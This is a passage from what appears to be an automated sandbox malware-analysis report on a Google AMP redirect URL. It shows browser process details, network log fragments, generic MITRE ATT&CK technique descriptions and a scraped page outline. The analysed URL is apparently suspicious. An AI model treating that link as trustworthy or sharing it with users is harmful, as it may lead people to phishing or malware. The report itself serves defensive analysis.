cfL4;desc="?proto=TCP&rtt=1666&min_rtt=1660&rtt_var=635&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1027&delivery_rate=1705607&cwnd=241&unsent_bytes=0&cid=bf9f62b47a9be468&ts=613&x=0"
2025-01-13 20:17:37 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-01-13 20:17:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	15:16:53
Start date:	13/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	15:16:55
Start date:	13/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=2008,i,667403360301153697,9405618956545446436,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	15:17:01
Start date:	13/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.google.com/amp/url.rw/6r6ns"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://www.google.com/amp/url.rw/6r6ns

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Windows Analysis Report
https://www.google.com/amp/url.rw/6r6ns